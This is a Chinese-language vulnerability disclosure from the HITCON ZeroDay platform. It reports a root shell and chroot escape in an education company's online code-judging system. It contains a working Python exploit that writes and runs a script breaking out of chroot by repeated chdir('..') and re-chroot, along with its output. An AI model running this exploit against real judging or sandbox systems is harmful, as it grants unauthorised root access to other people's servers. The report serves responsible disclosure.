十八豆教育科技有限公司 程式判分系統提權漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2023-00164
  •  發信 Vendor: 十八豆教育科技有限公司
  • Title: 十八豆教育科技有限公司 程式判分系統提權漏洞
  • Introduction: 可以使用chroot以超級使用者權限執行指令

處理狀態

目前狀態

公開
Last Update : 2023/06/10
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2023/04/10 11:50:37 : 新提交 (由 tty_1812 更新此狀態)
  • 2023/04/16 01:04:59 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/04/24 13:11:55 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/04/24 13:11:55 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/04/24 13:11:55 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/06/10 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2023-00164
  • 通報者:leo950413 (tty_1812)
  • 風險:嚴重
  • 類型:權限提升 (Privilege Escalation)

參考資料

攻擊者可利用此漏洞提升帳號權限,如其他使用者甚至管理者權限。

漏洞說明: OWASP - Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

漏洞說明: OWASP - Testing for Privilege escalation (OTG-AUTHZ-003)
https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003)

漏洞說明: CWE - Privilege
https://cwe.mitre.org/data/definitions/901.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.18dice.tw:7073/ndice/?fs=13101&dicemeet=9903&mss=6073&exelang=Python&theone=Y&alias=office.18dice.tw&directone=Y#full_ques/full_ans

敘述

Vulnerability report

Where is the vulunerability

漏洞發生於 code judging system 中,假設是以下列 python 程式為範例:

import subprocess as s
cwd = s.Popen(["whoami;id"], stdout=s.PIPE, shell=True)
(sout,erroutput) = cwd.communicate()
raise AssertionError(sout)

產生下列的結果:

root
uid=0(root) gid=0(root) groups=0(root)

接著嘗試尋找正在執行中的處理程序:

root       776  0.0  0.0  56544  3900 ?        Ss   15:11   0:00 sudo chroot /home/jjean/chroot /bin/bash -c /loginx.sh

所以 chroot 是甚麼呢?

chroot是起源於Unix系統的一個操作,作用於正在執行的行程和它的子行程,改變它外顯的根目錄。一個運行在這個環境下,經由chroot設定根目錄的程式,它不能夠對這個指定根目錄之外的檔案進行存取動作,不能讀取,也不能更改它的內容。chroot這一特殊表達可以指chroot(2)系統呼叫或chroot(8)應用程式。

顯示出了一個重要的訊息,即使已經是 root 但還是受限於 chroot 的虛擬環境中

chroot機制的設計中,並不包括抵抗特權使用者(root)的蓄意篡改

因為在 chroot 的環境中 root 還是可以透過第二次 chroot 來獲得足夠權限,逃出 chroot 的限制

這個網頁解釋了第二次chroot的原理

再加上 chroot 的虛擬環境裡,可以調用 chroot 指令,總結上面的資訊,可以得到這個python程式

import subprocess as s

s.Popen(["""echo 'import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(500):
    os.chdir("..")
os.chroot(".")
os.system("/bin/bash | ls  -al /root")' >  home/a1723025033/esc.py"""], stdout=s.PIPE, shell=True)
cwd = s.Popen(["rmdir chroot-dir && python3 home/a1723025033/esc.py"], stdout=s.PIPE, shell=True)

(sout,erroutput) = cwd.communicate()

raise AssertionError(sout)

在經過多次嘗試後,可以得知我們拿到了真正的 root 權限,實現了這個 RCE 漏洞

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;